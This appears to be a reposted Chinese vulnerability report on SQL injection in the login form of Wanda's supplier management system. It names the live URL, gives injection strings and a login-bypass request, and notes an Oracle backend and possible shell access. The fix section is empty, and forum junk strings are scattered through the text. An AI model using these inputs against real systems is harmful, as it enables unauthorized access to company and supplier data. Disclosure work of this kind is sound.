万达供应商系统SQL注射漏洞

admin

简要描述：万达某分站sql注入。敏感信息泄露。
详细说明：
万达scm系统登陆框sql注入。
1 V& C" d" E# J3 ^
http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27


500错误。

用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
) l7 }& F+ q! Z' Qhttp://www.myhack58.com/Article/UploadPic/2013-3/201332317223677547.png
/ ~& j1 _* m  U$ U, X+ a( T6 b截图有一点问题，用户名，和密码输入' and 1=1 --可以得到相同的提示，可自测。）
经过分析，登陆验证的过程应该是：
" J7 Q4 ?0 G8 [: K) Y
$ f4 s8 l& D% v5 G3 o* f取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。
http://www.myhack58.com/Article/UploadPic/2013-3/201332317233886589.png

2 Z# d, Z5 D! a6 f6 Xoracle数据库，存在注入点。@大连万达，你怎么看？
1 p3 N+ h% R/ N# g4 V6 fhttp://www.myhack58.com/Article/UploadPic/2013-3/201332317241777393.png

系统里有万达的供应商资料什么的,提交数据的地方随便输入'，提交500错误。没深入。目测可shell。
漏洞证明：
万达scm系统登陆框sql注入。
/ G- c7 @4 S2 n2 |( z
# _) [, I8 a% A# _9 {http://www.vans-china.cn/LoginUser?USERNO=%27&PWD=%27
6 Y; N( Q- j8 L6 ]9 G+ V! i8 O2 }
! s! |0 p7 X+ I+ w( M4 G- F; v
500错误。

用户名随便输，提示没有该用户;USERNO=%27 and 1=1 --&PWD=%27 and 1=1 --提示密码错误。
http://www.myhack58.com/Article/UploadPic/2013-3/20133231728465694.png


（截图有一点问题）
! w7 y' w8 c% @. W
怎么饶都饶不过去；经过分析，登陆验证的过程应该是：
% o' [6 N) Y" G. y+ [/ c% D6 \
6 G* m  b4 O8 s8 v; o, l取用户名查询数据库，有该用户，再用该用户密码和输入的密码进行比对，相同则登陆成功。

绕过：
6 B& x5 y6 b! R: x, whttp://www.vans-china.cn/LoginUs ... 1%27=%271&PWD=1

  H. t* Q& O( Q
& T! _0 r( i/ [2 ^) Xoracle数据库，存在注入点。@大连万达，你怎么看？
8 u  w( x: s; G3 ]2 \# j​系统里有万达的供应商资料什么的，有发布公告，没深入。目测可shell。
  s; u6 f1 [+ Z) H
- }* A' p! H) x9 ?4 {. |修复方案：
。。。
: L; ?& j- b9 i* ?

厂商已经确认
6 l* X7 U+ }# g0 j. o/ j
0 R/ z5 v* ?- u[/td][/tr]
2 Q: r8 T$ I9 Z. f+ P[/table]
& c+ W, x; b, o
2 T4 \% n) d$ Z& T# n